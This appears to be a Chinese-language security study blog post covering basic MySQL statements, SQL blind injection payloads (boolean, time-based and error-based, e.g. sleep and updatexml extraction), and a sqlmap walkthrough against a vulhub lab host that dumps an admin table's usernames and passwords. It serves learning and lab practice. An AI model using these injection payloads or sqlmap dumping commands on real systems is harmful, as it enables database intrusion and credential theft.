一 、MySQL数据库操作——增删改查

1、增 INSERT

INSERT INTO news (字段名) VALUES (数据)

2、删 DELETE

DELETE FROM news WHERE id=$id

3、改 UPDATE

UPDATE news SET id=$id

4、查 SELECT

(1)查询所有数据

SELECT * FROM users;

(2)查询指定字段

SELECT username, age FROM users;

(3)条件查询

SELECT * FROM users  WHERE username = 'admin';

(4)模糊查询

SELECT * FROM users WHERE username LIKE '%ad%';

(5)限制查询数量

SELECT * FROM users LIMIT 5;

二、SQL盲注

SQL 盲注就是:页面不会直接把数据库报错或查询结果显示出来,但攻击者仍然可以通过页面“反应差异”一点点推断数据库内容。

1、基于布尔的SQL盲注-逻辑判断

regexp,like,ascii,left,ord,mid

例:

and length(database())=7;

and left(database(),1)='p';

and left(database(),2)='pi';

and substr(database(),1,1)='p';

and substr(database(),2,1)='i';

and ord(left(database(),1))=112;

2、基于时间的SQL盲注-延时判断

if,sleep

例:

and sleep(1);

and if(1>2,sleep(1),0);

and if(1<2,sleep(1),0);

3、基于报错的SQL盲注-报错回显

floor,updatexml,extractvalue

例:

and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

更多:https://www.jianshu.com/p/bc35f8dd4f7c

4、参考

like 'ro%'            #判断ro或ro...是否成立

regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等

if(条件,5,0)          #条件成立 返回5 反之 返回0

sleep(5)              #SQL语句延时执行5秒

mid(a,b,c)            #从位置b开始,截取a字符串的c位

substr(a,b,c)         #从位置b开始,截取字符串a的c长度

left(database(),1),database() #left(a,b)从左侧截取a的前b位

length(database())=8  #判断数据库database()名的长度

ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

5、使用条件

两个条件:数据回显&错误处理

基于延时:都不需要

基于布尔:有数据库输出判断标准

基于报错:有数据库报错处理判断标准

三、SQLMAP实战

1、vulhub靶场的搭建

首先在服务器中安装docker

然后安装 docker-compose

接下来手动安装Compose v2

mkdir -p /usr/local/lib/docker/cli-plugins

curl -SL https://github.com/docker/compose/releases/latest/download/docker-compose-linux-$(uname -m) \
  -o /usr/local/lib/docker/cli-plugins/docker-compose

chmod +x /usr/local/lib/docker/cli-plugins/docker-compose

docker compose version

安装完成后使用

docker compose up -d

来拉取镜像

并且可以使用docker ps来查看所使用的端口

2、sqlmap的使用案例——Access数据库

首先对目标域名进行扫描

python .\sqlmap.py -u "http://192.168.233.133:89/news.asp?classid=1"

再扫描完成后,如果看到类似于

就说明有sql注入漏洞。

因为靶机使用的是Access数据库所以只能查字典来破解

然后进行表名的查询

python .\sqlmap.py -u "http://192.168.233.133:89/news.asp?classid=1" --tables

可以扫到这几个表

然后对admin表中的段名进行扫描

python .\sqlmap.py -u "http://192.168.233.133:89/news.asp?classid=1" --columns -T "admin"

可以扫到如下的段

现在我们已经知道里面有两个比较关键的字段username与password,接下来就可以破解这两个字段中的数据

python .\sqlmap.py -u "http://192.168.233.133:89/news.asp?classid=1" -T "admin" -C "username,password" --dump

最终可以得到所需要的账号密码

详细的SQL注入可以看https://www.cnblogs.com/bmjoker/p/9326258.html

更多推荐